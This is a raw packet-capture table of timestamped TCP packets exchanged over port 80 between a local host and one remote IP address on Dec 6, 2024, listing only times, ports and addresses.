Dec 6, 2024 18:45:18.475805998 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.475863934 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.475872040 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.475912094 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.511953115 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.512033939 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.512110949 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.512516022 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.512572050 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.512650967 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.512701988 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.513389111 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.513442993 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.513463974 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.513501883 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.514358997 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.514414072 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.514759064 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.514805079 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.514857054 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.514902115 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.515685081 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.515743971 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.515808105 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.515870094 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.516654015 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.516702890 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.516757011 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.516807079 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.517664909 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.517720938 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.517777920 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.517822981 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.518636942 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.518779993 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.518834114 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.519644976 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.519701004 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.519748926 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.519799948 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.520622969 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.520692110 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.520750999 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.521591902 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.521640062 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.521688938 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.522586107 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.522650003 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.522699118 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.522799969 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.523578882 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.523627996 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.523682117 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.523726940 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.524549007 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.524600029 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.524629116 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.524749041 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.525552034 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.525612116 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.525665045 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.525703907 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.526535034 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.526581049 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.526647091 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.526698112 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.527503967 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.527551889 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.527602911 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.527692080 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.528484106 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.528532982 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.528587103 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.528726101 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.529498100 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.529547930 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.529597998 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.529640913 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.530436039 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.530489922 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.530508995 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.530549049 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.589687109 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.589745998 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.589765072 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.589804888 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.590157986 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.590208054 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.590285063 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.590382099 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.591161966 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.591218948 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.591237068 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.591284990 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.592176914 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.592240095 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.592269897 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.592278004 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.593148947 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.593257904 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.593280077 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.593321085 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.594098091 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.594149113 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.594168901 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.594204903 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.595101118 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.595145941 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.595190048 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.595230103 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.641741991 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.641875982 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.641951084 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.642209053 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.642261982 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.642339945 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.642391920 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.643258095 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.643305063 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.643373013 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.643418074 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.644260883 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.644318104 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.644342899 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.644387960 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.645260096 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.645302057 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.645422935 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.645474911 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.646184921 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.646238089 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.646286011 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.646333933 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.647182941 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.647233963 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.647293091 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.647350073 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.648190975 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.648294926 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.648350954 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.649101019 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.649228096 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.649283886 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.650124073 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.650177002 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.650235891 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.650288105 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.651097059 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.651144028 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.651242018 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.651283026 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.652098894 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.652251959 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.652311087 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.653086901 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.653225899 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.653279066 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.654063940 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.654119015 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.654191017 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.654236078 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.655098915 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.655148029 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.655278921 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.656053066 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.656104088 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.656145096 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.656187057 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.657032013 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.657124043 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.657141924 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.657187939 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.658032894 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.658082962 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.658314943 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.659102917 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.659156084 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.659203053 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.659248114 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.660053015 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.660099983 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.660125971 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.660166025 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.661010027 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.661065102 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.661083937 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.661252975 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.661942005 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.662000895 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.662085056 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.662144899 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.662931919 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.663064957 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.663115978 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.663885117 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.663929939 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.664016962 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.664062023 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.664885044 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.665085077 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.665136099 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.665865898 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.665915012 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.666032076 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.666081905 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.666903019 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.666949034 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.666956902 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.667000055 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.703680992 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.703741074 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.703754902 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.703799009 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.704102993 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.704189062 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.704400063 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.704447985 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.704495907 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.704543114 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.705274105 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.705327034 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.705384970 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.705426931 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.706284046 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.706334114 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.706352949 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.706401110 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.707247019 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.707293034 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.707355022 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.707396030 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.708271980 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.708322048 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.708338022 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.708379984 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.709235907 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.709283113 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.709433079 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.709479094 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.710254908 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.710303068 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.710349083 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.710397959 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.711262941 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.711309910 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.711335897 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.711384058 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.712986946 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.713035107 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.713042021 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.713084936 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.713285923 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.713332891 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.713495970 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.713547945 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.714252949 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.714303017 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.714421034 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.714466095 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.715353012 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.715400934 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.715425014 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.715471029 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.716330051 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.716377974 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.716425896 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.716471910 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.717169046 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.717214108 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.717324972 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.717370987 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.718159914 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.718209028 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.718317032 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.718364000 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.719119072 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.719165087 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.719273090 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.719321966 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.720099926 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.720148087 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.720223904 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.720271111 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.721069098 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.721108913 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.721244097 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.721288919 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.722071886 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.722084045 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.722125053 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.771493912 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.771580935 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.771673918 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.771950960 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.772001982 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.772162914 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.772283077 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.772330999 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.773184061 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.773241043 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.773258924 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.773300886 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.774130106 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.774220943 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.774240017 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.774290085 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.775106907 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.775173903 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.775238037 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.775305033 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.776108980 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.776266098 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.776318073 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.777066946 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.777111053 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.833477974 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.833561897 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.833584070 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.833630085 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.833985090 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.834036112 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.834201097 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.834249020 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.834295034 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.834340096 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.835257053 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.835304022 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.835331917 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.835378885 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.836174011 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.836227894 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.836245060 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.836283922 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.837217093 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.837229013 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.837253094 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.837296009 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.838144064 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.838196993 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.838284016 CET	80	49714	185.215.113.206	192.168.2.6
